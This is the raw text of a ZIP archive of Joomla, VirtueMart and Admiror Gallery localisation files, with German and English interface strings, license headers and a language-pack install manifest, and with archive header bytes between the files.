AG_PREVIOUS_IMAGE="vorheriges Bild" AG_NEXT_IMAGE="nächstes Bild" AG_IMAGE_DETAILS_FOR_FILE="Bildinformationen für Datei:" AG_GALLERIES="Galerien" AG_LEGEND="Legend" AG_CURRENT_FOLDER="Aktuelles Verzeichnis:" AG_OPERATION_WITH_SELECTED_ITEMS="Aktion mit markierter Auswahl:" AG_NONE="Keins" AG_UPLOAD_IMAGES_JPG_JPEG_GIF_PNG_OR_ZIP="Bilder hochladen (jpg, jpeg, gif, png or zip)" AG_MAX="Max" AG_CREATE_FOLDERS="Verzeichnis erstellen:" AG_ADD="Hinzufügen" AG_SELECTED_ITEMS_WILL_BE_DELETED="Markierte Auswahl wird gelöscht!" AG_SELECT_FILE_OR_FOLDER="Datei oder Verzeichnis wählen." AG_IMAGE_HAS_THUMBNAIL_CREATED="Vorschaubild wurde erstellt." AG_IMAGE_HAS_ADDITIONAL_DETAILS_SAVED="Zusätzliche Bildinformationen gespeichert." AG_IMG_WIDTH="Breite" AG_IMG_HEIGHT="Höhe" AG_IMG_TYPE="Typ" AG_IMG_SIZE="Größe" AG_NONE="Keine" AG_DELETE="Löschen" AG_COPY_TO="Kopieren nach" AG_MOVE_TO="Verschieben nach" AG_BOOKMARK="Lesezeichen" AG_SHOW="Sichtbar" AG_HIDE="Unsichtbar" AG_VISIBLE="Sichtbar" AG_HIDDEN="Unsichtbar" AG_EDIT_FOLDER_CAPTIONS="Verzeichnis Titel bearbeiten" AG_CLOSE_FOLDER_CAPTIONS="Verzeichnis Titel schliessen" AG_FOLDER_THUMB="Verzeichnis Vorschaubild" AG_SELECT_TO_REMOVE_BOOKMARK="Lesezeichen zum entfernen markieren." ;Errors and Notifications AG_PARAMS_UPDATED="Parameter aktualisiert." AG_CANNOT_ACCESS_TO_DATABASE="Kein Zugriff auf Datenbank." AG_PACKAGE_REMOVED="Paket entfernt." AG_PACKAGE_CANNOT_BE_REMOVED="Paket kann nicht entfernt werden:" AG_ZIP_PACKAGE_IS_INSTALLED="ZIP Archiv installiert:" AG_ZIP_PACKAGE_IS_NOT_VALID_RESOURCE_TYPE="ZIP Archiv hat keinen gültigen Recourcetyp:" AG_CANNOT_UPLOAD_FILE_TO_TEMP_FOLDER_PLEASE_CHECK_PERMISSIONS="Datei kann nicht ins temp Verzeichnis hochgeladen werden. Bitte Berechtigungen prüfen." AG_ONLY_ZIP_ARCHIVES_CAN_BE_INSTALLED="Nur zip Archive können installiert werden." AG_ZIP_PACKAGE_IS_UPLOADED_AND_EXTRACTED="ZIP Archiv wurde hochgeladen und entpackt:" AG_IMAGE_IS_UPLOADED="Bild wurde hochgeladen:" AG_CANNOT_UPLOAD_FILE="Datei kann nicht hochgeladen werden:" AG_AG_ONLY_JPG_JPEG_GIF_PNG_AND_ZIP_ARE_VALID_EXTENSIONS="Nur jpg, jpeg, gif, png and zip sind gültige Endungen." AG_IMAGE_RENAMED="Bild umbenannt:" AG_CANNOT_RENAME_IMAGE="Kann Bild nicht umbenennen:" AG_FILE_WITH_THE_SAME_NAME_ALREADY_EXISTS="Datei mit geichem Namen existiert bereits." AG_FOLDER_RENAMED="Verzeichnis umbenannt:" AG_CANNOT_RENAME_FOLDER="Kann Verzeichnis nicht umbenennen:" AG_FOLDER_WITH_THE_SAME_NAME_ALREADY_EXISTS="Verzeichnis mit gleichem Namen existiert bereits." AG_CAPTIONS_REMOVED_FROM_IMAGE_DETAILS_FILE="Titel von Datei mit Bildinformationen entfernt." AG_CANNOT_REMOVE_CAPTIONS_FROM_IMAGE_DETAILS_FILE="Kann Titel von Datei mit Bildinformationen nicht entfernen." AG_NO_IMAGE_DETAILS_FILE_FOUNDED="Keine Bildinformationen gefunden:" AG_NO_IMAGE_SELECTED="Kein Bild ausgewählt." AG_ITEM_COPIED="Auswahl kopiert:" AG_CANNOT_COPY_ITEM="Kann Auswahl nicht kopieren:" AG_ITEM_MOVED="Auswahl verschoben:" AG_CANNOT_MOVED_ITEM="Kann Auswahl nicht verschieben:" AG_ITEM_DELETED="Auswahl gelöscht:" AG_CANNOT_DELETE_ITEM="Kann Auswahl nicht löschen:" AG_DESCRIPTION_FILE_CREATED="Beschreibungsdatei erstellt:" AG_CANNOT_WRITE_DESCRIPTION_FILE="Beschreibungsdatei kann nicht geschrieben werden:" AG_PRIORITY_MUST_BE_NUMERIC_VALUE_FOR_IMAGE="Bildpriorität muss ein numerischer Wert sein:" AG_FOLDER_CREATED="Verzeichnis erstellt:" AG_CANNOT_CREATE_FOLDER="Verzeichnis kann nicht erstellt werden." AG_FOLDER_ALREADY_EXISTS="Verzeichnis existiert bereits:" AG_GALLERY_REMOVED_FROM_LISTING="Galerie von Liste entfernt:" AG_CANNOT_WRITE_GALLERY_LISTING="Galerie Liste kann nicht geschrieben werden:" AG_GALLERY_ADDED="Galerie hinzugefügt:" AG_GALLERY_ALREADY_EXISTS="Galerie existiert bereits:" AG_NO_FOLDER_SELECTED="Kein Verzeichnis ausgewählt." AG_NO_FOLDERS_OR_IMAGES_FOUND_IN_CURRENT_FOLDER="Keine Datei oder Verzeichnis in aktuellem Verzeichnis gefunden..." AG_FOLDER_OR_IMAGE_NOT_FOUND="Datei oder Verzeichnis nicht gefunden."; COM_PLUGIN_NOT_INSTALLED="Admiror Gallery Plugin ist nicht installiert! Sie müssen es installieren zu können, um die Komponente zu verwenden." ;Back-End Button AG_FOLDERS="Verzeichnisse" AG_PARAMETERS="Parameter" COM_ADMIRORGALLERY="Admiror Galerie" COM_ADMIRORGALLERY_CONTROL_PANEL="Kontrollzentrum" COM_ADMIRORGALLERY_TEMPLATES="Vorlagen" COM_ADMIRORGALLERY_POPUPS="Popups" COM_ADMIRORGALLERY_IMAGE_MANAGER="Bildverwaltung" PK@y>\/language/de-DE/de-DE.plg_vmcustom_textinput.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_NAME_INFO="Titel des Eingabeformulars" VMCUSTOM_NAME_INFO_DESC="Bestimmen Sie den anzuzeigenden Titel ihres Text-Eingabeformulars. Sie können normalen Text verwenden oder einen Schlüssel/Zeichfolge, welcher in der Plugin-Sprachdatei übersetzt werden kann" VMCUSTOM_TEXTINPUT="Benutzerdefiniertes Feld Texteingabe" VMCUSTOM_TEXTINPUTPRICE_BY_LETTER_OR_INPUT_DESC="Wenn Preis pro Zeichen ausgewählt wird, wird der Aufpreis pro Zeichen berechnet, andernfalls für die gesamte Eingabe" VMCUSTOM_TEXTINPUT_PRICE_BY_INPUT="Preis pro Eingabe" VMCUSTOM_TEXTINPUT_PRICE_BY_LETTER="Preis pro Zeichen" VMCUSTOM_TEXTINPUT_PRICE_BY_LETTER_OR_INPUT="Preis pro Zeichen oder pro Eingabe" VMCUSTOM_TEXTINPUT_SIZE="Texteingabe Größe" VMCUSTOM_TEXTINPUT_SIZE_DESC="Länge des Eingabefeldes" PK@y>\i3language/de-DE/de-DE.plg_vmcustom_stockable.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_STOCKABLE="VM Benutzerdefiniertes Feld mit Bestandskontrolle"PK@y>\Vlanguage/de-DE/index.htmlnuW+A PK@y>\#=;;.language/de-DE/de-DE.plg_search_virtuemart.ininuW+A; VirtueMart Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_VIRTUEMART="Suche - VirtueMart" PLG_SEARCH_VIRTUEMART_PRODUCTS="Produkte"PK@y>\gI,language/de-DE/de-DE.com_virtuemart.menu.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ;System VIRTUEMART="VirtueMart" COM_VIRTUEMART="VirtueMart"PK@y>\]}3language/de-DE/de-DE.plg_vmcustom_textinput.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_TEXTINPUT="Benutzerdefiniertes Feld Texteingabe" PK@y>\!3language/de-DE/de-DE.plg_vmcustom_specification.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_SPECIFICATION_DEFAULT_INFO="Standard Info" VMCUSTOM_SPECIFICATION_NAME_INFO="Charakteristische Bezeichnung" VMCUSTOM_SPECIFICATION_NAME_INFO_DESC="Standardwert" PK@y>\T-language/en-US/en-US.plg_extension_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EXTENSION_JOOMLA="Extension - Joomla" PLG_EXTENSION_JOOMLA_XML_DESCRIPTION="Manage the update sites for extensions" PLG_EXTENSION_JOOMLA_UNKNOWN_SITE="Unknown Site" PK@y>\yo$%language/en-US/en-US.com_weblinks.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WEBLINKS="Weblinks" COM_WEBLINKS_ACCESS_HEADING="Access" COM_WEBLINKS_BATCH_OPTIONS="Batch process the selected links" COM_WEBLINKS_BATCH_TIP="If choosing to copy a link, any other actions selected will be applied to the copied link. Otherwise, all actions are applied to the selected link." COM_WEBLINKS_CATEGORIES_DESC="These settings apply for Weblinks Categories Options unless they are changed for a specific menu item." COM_WEBLINKS_CATEGORY_DESC="These settings apply for Weblinks Category Options unless they are changed for a specific menu item." COM_WEBLINKS_COMPONENT_DESC="These settings apply for Weblinks unless they are changed for a specific menu item or Weblink." COM_WEBLINKS_COMPONENT_LABEL="Weblink" COM_WEBLINKS_CONFIG_INTEGRATION_SETTINGS_DESC="These settings determine how the Weblinks Component will integrate with other extensions." COM_WEBLINKS_CONFIGURATION="Web Links Manager Options" COM_WEBLINKS_EDIT_WEBLINK="Edit Web Link" COM_WEBLINKS_ERR_TABLES_NAME="There is already a Web Link with that name in this category. Please try again." COM_WEBLINKS_ERR_TABLES_PROVIDE_URL="Please provide a valid URL" COM_WEBLINKS_ERR_TABLES_TITLE="Your Weblink must contain a title." COM_WEBLINKS_ERROR_UNIQUE_ALIAS="Another Weblink from this category has the same alias" COM_WEBLINKS_FIELD_ALIAS_DESC="The alias is for internal use only. Leave this blank and Joomla will fill in a default value from the title. It has to be unique for each web link in the same category." COM_WEBLINKS_FIELD_CATEGORY_DESC="Choose a category for this Web link" COM_WEBLINKS_FIELD_CATEGORYCHOOSE_DESC="Please choose a Web links category to display" COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_DESC="Show/Hide the number of Web links in each Category" COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_LABEL="# Web links" COM_WEBLINKS_FIELD_CONFIG_COUNTCLICKS_DESC="If set to yes, the number of times the link has been clicked will be recorded" COM_WEBLINKS_FIELD_CONFIG_COUNTCLICKS_LABEL="Count Clicks" COM_WEBLINKS_FIELD_CONFIG_DESCRIPTION_DESC="Show/Hide the description below" COM_WEBLINKS_FIELD_CONFIG_HITS_DESC="Show/Hide hits" COM_WEBLINKS_FIELD_CONFIG_ICON_DESC="If Icon is chosen above, select an icon to display with the Web links. If none is selected, the default icon will be used." COM_WEBLINKS_FIELD_CONFIG_ICON_LABEL="Select Icon" COM_WEBLINKS_FIELD_CONFIG_INTRO_DESC="Enter here a text as an introduction to the web links" COM_WEBLINKS_FIELD_CONFIG_INTRO_LABEL="Introduction" COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_DESC="Show/Hide the links description" COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_LABEL="Links description" COM_WEBLINKS_FIELD_CONFIG_OTHERCATS_DESC="Show/hide other categories" COM_WEBLINKS_FIELD_CONFIG_OTHERCATS_LABEL="Other categories" COM_WEBLINKS_FIELD_CONFIG_SHOWREPORT_DESC="Show/Hide the Report Bad Link option" COM_WEBLINKS_FIELD_CONFIG_SHOWREPORT_LABEL="Reports" COM_WEBLINKS_FIELD_COUNTCLICKS_DESC="If set to yes, the number of times the link has been clicked will be recorded" COM_WEBLINKS_FIELD_COUNTCLICKS_LABEL="Count Clicks" COM_WEBLINKS_FIELD_DESCRIPTION_DESC="Enter a description for the web link." COM_WEBLINKS_FIELD_DISPLAY_NUM_DESC="Default number of Web links to list on a page." COM_WEBLINKS_FIELD_DISPLAY_NUM_LABEL="# of Web links to List" COM_WEBLINKS_FIELD_HEIGHT_DESC="Height of the target popup or modal window. Defaults to 600x500 if one field is left empty." COM_WEBLINKS_FIELD_HEIGHT_LABEL="Height" COM_WEBLINKS_FIELD_ICON_DESC="Displays a text, an icon or nothing with the Web links. Default is 'Icon'." COM_WEBLINKS_FIELD_ICON_LABEL="Text/Icon/Web Link Only" COM_WEBLINKS_FIELD_ICON_OPTION_ICON="Icon" COM_WEBLINKS_FIELD_ICON_OPTION_TEXT="Text" COM_WEBLINKS_FIELD_ICON_OPTION_WEBLINK="Web Link Only" COM_WEBLINKS_FIELD_LANGUAGE_DESC="Assign a language to this weblink" COM_WEBLINKS_FIELD_MODIFIED_DESC="The date and time the link was last modified" COM_WEBLINKS_FIELD_SELECT_CATEGORY_DESC="Select a weblinks category to display" COM_WEBLINKS_FIELD_SELECT_CATEGORY_LABEL="Select a category" COM_WEBLINKS_FIELD_STATE_DESC="Set publication status." COM_WEBLINKS_FIELD_TARGET_DESC="Target browser window when the link is clicked" COM_WEBLINKS_FIELD_TARGET_LABEL="Target" COM_WEBLINKS_FIELD_TITLE_DESC="Web Link must have a title" COM_WEBLINKS_FIELD_URL_DESC="You must enter a URL." COM_WEBLINKS_FIELD_URL_LABEL="URL" COM_WEBLINKS_FIELD_VALUE_REPORTED="Reported" COM_WEBLINKS_FIELD_WIDTH_DESC="Width of the target popup or modal window. Defaults to 600x500 if one field is left empty." COM_WEBLINKS_FIELD_WIDTH_LABEL="Width" COM_WEBLINKS_FIELDSET_OPTIONS="Basic Options" COM_WEBLINKS_FILTER_CATEGORY="Filter Category" COM_WEBLINKS_FILTER_STATE="Filter State" COM_WEBLINKS_HITS_DESC="Number of hits for this weblink" COM_WEBLINKS_LIST_LAYOUT_DESC="These settings apply for Weblinks List Layout Options unless they are changed for a specific menu item." COM_WEBLINKS_MANAGER_WEBLINK="Web Links Manager: Web Link" COM_WEBLINKS_MANAGER_WEBLINKS="Web Links Manager: Web Links" COM_WEBLINKS_N_ITEMS_ARCHIVED="%d weblinks successfully archived" COM_WEBLINKS_N_ITEMS_ARCHIVED_1="%d weblink successfully archived" COM_WEBLINKS_N_ITEMS_CHECKED_IN_0="No weblink successfully checked in" COM_WEBLINKS_N_ITEMS_CHECKED_IN_1="%d weblink successfully checked in" COM_WEBLINKS_N_ITEMS_CHECKED_IN_MORE="%d weblinks successfully checked in" COM_WEBLINKS_N_ITEMS_DELETED="%d weblinks successfully deleted" COM_WEBLINKS_N_ITEMS_DELETED_1="%d weblink successfully deleted" COM_WEBLINKS_N_ITEMS_PUBLISHED="%d weblinks successfully published" COM_WEBLINKS_N_ITEMS_PUBLISHED_1="%d weblink successfully published" COM_WEBLINKS_N_ITEMS_TRASHED="%d weblinks successfully trashed" COM_WEBLINKS_N_ITEMS_TRASHED_1="%d weblink successfully trashed" COM_WEBLINKS_N_ITEMS_UNPUBLISHED="%d weblinks successfully unpublished" COM_WEBLINKS_N_ITEMS_UNPUBLISHED_1="%d weblink successfully unpublished" COM_WEBLINKS_NEW_WEBLINK="New Web link" COM_WEBLINKS_OPTION_FILTER_ACCESS="- Filter Access -" COM_WEBLINKS_OPTION_FILTER_CATEGORY="- Filter Category -" COM_WEBLINKS_OPTION_FILTER_PUBLISHED="- Filter State -" COM_WEBLINKS_OPTIONS="Options" COM_WEBLINKS_ORDER_HEADING="Order" COM_WEBLINKS_SAVE_SUCCESS="Weblink successfully saved" COM_WEBLINKS_SEARCH_IN_TITLE="Search in title" COM_WEBLINKS_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no Weblinks or subcategories." COM_WEBLINKS_SUBMENU_CATEGORIES="Categories" COM_WEBLINKS_SUBMENU_WEBLINKS="Web Links" COM_WEBLINKS_XML_DESCRIPTION="Component for web links management" JGLOBAL_NO_ITEM_SELECTED="No weblinks selected" JGLOBAL_NEWITEMSLAST_DESC="New Weblinks default to the last position. Ordering can be changed after this Weblink is saved." JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="You are not allowed to create new weblinks in this category." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="You are not allowed to edit one or more of these weblinks." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\)9b.language/en-US/en-US.plg_content_geshi.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_GESHI="Content - Code Highlighter (GeSHi)" PLG_CONTENT_GESHI_XML_DESCRIPTION="Displays formatted code in Articles based on the GeSHi highlighting engine" PK@y>\Ms4language/en-US/en-US.plg_system_languagecode.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGECODE="System - Language Code" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides ability to change the language code in the generated HTML document to improve SEO" PK@y>\Ǹ7::'language/en-US/en-US.com_mailto.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MAILTO="Mail to" COM_MAILTO_XML_DESCRIPTION="A generic mail to friend component" PK@y>\VUYQ'Q'language/en-US/install.xmlnuW+A English (USA) en-US 2.5.7.2 2012-09-23 Aussiesrus - Australia admin@aussiesrus.com.au www.aussiesrus.com.au Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt en-US administrator language index.html en-US.com_admin.ini en-US.com_admin.sys.ini en-US.com_banners.ini en-US.com_banners.sys.ini en-US.com_cache.ini en-US.com_cache.sys.ini en-US.com_categories.ini en-US.com_categories.sys.ini en-US.com_checkin.ini en-US.com_checkin.sys.ini en-US.com_config.ini en-US.com_config.sys.ini en-US.com_contact.ini en-US.com_contact.sys.ini en-US.com_content.ini en-US.com_content.sys.ini en-US.com_cpanel.ini en-US.com_cpanel.sys.ini en-US.com_finder.ini en-US.com_finder.sys.ini en-US.com_installer.ini en-US.com_installer.sys.ini en-US.com_joomlaupdate.ini en-US.com_joomlaupdate.sys.ini en-US.com_languages.ini en-US.com_languages.sys.ini en-US.com_login.ini en-US.com_login.sys.ini en-US.com_mailto.sys.ini en-US.com_media.ini en-US.com_media.sys.ini en-US.com_menus.ini en-US.com_menus.sys.ini en-US.com_messages.ini en-US.com_messages.sys.ini en-US.com_modules.ini en-US.com_modules.sys.ini en-US.com_newsfeeds.ini en-US.com_newsfeeds.sys.ini en-US.com_plugins.ini en-US.com_plugins.sys.ini en-US.com_redirect.ini en-US.com_redirect.sys.ini en-US.com_search.ini en-US.com_search.sys.ini en-US.com_templates.ini en-US.com_templates.sys.ini en-US.com_users.ini en-US.com_users.sys.ini en-US.com_weblinks.ini en-US.com_weblinks.sys.ini en-US.com_wrapper.ini en-US.com_wrapper.sys.ini en-US.ini en-US.lib_joomla.ini en-US.localise.php en-US.mod_custom.ini en-US.mod_custom.sys.ini en-US.mod_feed.ini en-US.mod_feed.sys.ini en-US.mod_latest.ini en-US.mod_latest.sys.ini en-US.mod_logged.ini en-US.mod_logged.sys.ini en-US.mod_login.ini en-US.mod_login.sys.ini en-US.mod_menu.ini en-US.mod_menu.sys.ini en-US.mod_multilangstatus.ini en-US.mod_multilangstatus.sys.ini en-US.mod_popular.ini en-US.mod_popular.sys.ini en-US.mod_quickicon.ini en-US.mod_quickicon.sys.ini en-US.mod_status.ini en-US.mod_status.sys.ini en-US.mod_submenu.ini en-US.mod_submenu.sys.ini en-US.mod_title.ini en-US.mod_title.sys.ini en-US.mod_toolbar.ini en-US.mod_toolbar.sys.ini en-US.mod_version.ini en-US.mod_version.sys.ini en-US.plg_authentication_gmail.ini en-US.plg_authentication_gmail.sys.ini en-US.plg_authentication_joomla.ini en-US.plg_authentication_joomla.sys.ini en-US.plg_authentication_ldap.ini en-US.plg_authentication_ldap.sys.ini en-US.plg_captcha_recaptcha.ini en-US.plg_captcha_recaptcha.sys.ini en-US.plg_content_emailcloak.ini en-US.plg_content_emailcloak.sys.ini en-US.plg_content_finder.ini en-US.plg_content_finder.sys.ini en-US.plg_content_geshi.ini en-US.plg_content_geshi.sys.ini en-US.plg_content_joomla.ini en-US.plg_content_joomla.sys.ini en-US.plg_content_loadmodule.ini en-US.plg_content_loadmodule.sys.ini en-US.plg_content_pagebreak.ini en-US.plg_content_pagebreak.sys.ini en-US.plg_content_pagenavigation.ini en-US.plg_content_pagenavigation.sys.ini en-US.plg_content_vote.ini en-US.plg_content_vote.sys.ini en-US.plg_editors_codemirror.ini en-US.plg_editors_codemirror.sys.ini en-US.plg_editors_none.ini en-US.plg_editors_none.sys.ini en-US.plg_editors_tinymce.ini en-US.plg_editors_tinymce.sys.ini en-US.plg_editors-xtd_article.ini en-US.plg_editors-xtd_article.sys.ini en-US.plg_editors-xtd_image.ini en-US.plg_editors-xtd_image.sys.ini en-US.plg_editors-xtd_pagebreak.ini en-US.plg_editors-xtd_pagebreak.sys.ini en-US.plg_editors-xtd_readmore.ini en-US.plg_editors-xtd_readmore.sys.ini en-US.plg_extension_joomla.ini en-US.plg_extension_joomla.sys.ini en-US.plg_finder_categories.ini en-US.plg_finder_categories.sys.ini en-US.plg_finder_contacts.ini en-US.plg_finder_contacts.sys.ini en-US.plg_finder_content.ini en-US.plg_finder_content.sys.ini en-US.plg_finder_newsfeeds.ini en-US.plg_finder_newsfeeds.sys.ini en-US.plg_finder_weblinks.ini en-US.plg_finder_weblinks.sys.ini en-US.plg_quickicon_extensionupdate.ini en-US.plg_quickicon_extensionupdate.sys.ini en-US.plg_quickicon_joomlaupdate.ini en-US.plg_quickicon_joomlaupdate.sys.ini en-US.plg_search_categories.ini en-US.plg_search_categories.sys.ini en-US.plg_search_contacts.ini en-US.plg_search_contacts.sys.ini en-US.plg_search_content.ini en-US.plg_search_content.sys.ini en-US.plg_search_newsfeeds.ini en-US.plg_search_newsfeeds.sys.ini en-US.plg_search_weblinks.ini en-US.plg_search_weblinks.sys.ini en-US.plg_system_cache.ini en-US.plg_system_cache.sys.ini en-US.plg_system_debug.ini en-US.plg_system_debug.sys.ini en-US.plg_system_highlight.ini en-US.plg_system_highlight.sys.ini en-US.plg_system_languagecode.ini en-US.plg_system_languagecode.sys.ini en-US.plg_system_languagefilter.ini en-US.plg_system_languagefilter.sys.ini en-US.plg_system_log.ini en-US.plg_system_log.sys.ini en-US.plg_system_logout.ini en-US.plg_system_logout.sys.ini en-US.plg_system_p3p.ini en-US.plg_system_p3p.sys.ini en-US.plg_system_redirect.ini en-US.plg_system_redirect.sys.ini en-US.plg_system_remember.ini en-US.plg_system_remember.sys.ini en-US.plg_system_sef.ini en-US.plg_system_sef.sys.ini en-US.plg_user_contactcreator.ini en-US.plg_user_contactcreator.sys.ini en-US.plg_user_joomla.ini en-US.plg_user_joomla.sys.ini en-US.plg_user_profile.ini en-US.plg_user_profile.sys.ini en-US.tpl_bluestork.ini en-US.tpl_bluestork.sys.ini en-US.tpl_hathor.ini en-US.tpl_hathor.sys.ini install.xml en-US.xml PK@y>\::'language/en-US/en-US.com_config.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONFIG="Configuration Manager" COM_CONFIG_XML_DESCRIPTION="Configuration Manager" PK@y>\%҉0language/en-US/en-US.plg_system_redirect.sys.ininuW+A; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REDIRECT_XML_DESCRIPTION="The system redirect plug-in enables the Joomla Redirect system to catch missing pages and redirect users." PLG_SYSTEM_REDIRECT="System - Redirect" PK@y>\M27.language/en-US/en-US.plg_editors-xtd_image.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_IMAGE="Button - Image" PLG_IMAGE_BUTTON_IMAGE="Image" PLG_IMAGE_XML_DESCRIPTION="Displays a button to make it possible to insert images into an Article. Displays a popup allowing you to configure an image's properties and upload new image files." PK@y>\A׵+language/en-US/en-US.plg_content_finder.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_FINDER="Content - Smart Search" PLG_CONTENT_FINDER_XML_DESCRIPTION="Enables Indexing for Smart Search" PLG_FINDER_QUERY_FILTER_BRANCH_P__="All" PLG_FINDER_QUERY_FILTER_BRANCH_S_TYPE="Type" PLG_FINDER_QUERY_FILTER_BRANCH_S_LANGUAGE="Language" PLG_FINDER_QUERY_FILTER_BRANCH_S_CATEGORY="Category" PLG_FINDER_QUERY_FILTER_BRANCH_P_TYPE="Types" PLG_FINDER_QUERY_FILTER_BRANCH_P_LANGUAGE="Languages" PLG_FINDER_QUERY_FILTER_BRANCH_P_CATEGORY="Categories" PK@y>\L 'language/en-US/en-US.mod_latest.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LATEST="Latest News" MOD_LATEST_XML_DESCRIPTION="This Module shows a list of the most recently published Articles that are still current. Some that are shown may have expired even though they are the most recent." MOD_LATEST_LAYOUT_DEFAULT="Default" PK@y>\1language/en-US/en-US.plg_finder_newsfeeds.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_NEWSFEEDS="Smart Search - Newsfeeds" PLG_FINDER_NEWSFEEDS_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"Smart Search - Joomla! Newsfeeds"_QQ_" plugin" PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION="This plugin indexes Joomla! Newsfeeds." PK@y>\>hWW/language/en-US/en-US.plg_content_finder.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_FINDER="Content - Smart Search" PLG_CONTENT_FINDER_XML_DESCRIPTION="Enables Indexing for Smart Search" PK@y>\\Qϐ*language/en-US/en-US.com_newsfeeds.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_NEWSFEEDS="Newsfeeds" COM_NEWSFEEDS_CATEGORIES="Categories" COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_DESC="Show all the news feed categories within a category." COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_OPTION="Default" COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_TITLE="List All News Feed Categories" COM_NEWSFEEDS_CATEGORY_ADD_TITLE="Category Manager: Add A News Feed Category" COM_NEWSFEEDS_CATEGORY_EDIT_TITLE="Category Manager: Edit A News Feed Category" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_DESC="Show all news feeds within a category." COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_OPTION="Default" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_TITLE="List News Feeds in a Category" COM_NEWSFEEDS_FEEDS="Feeds" 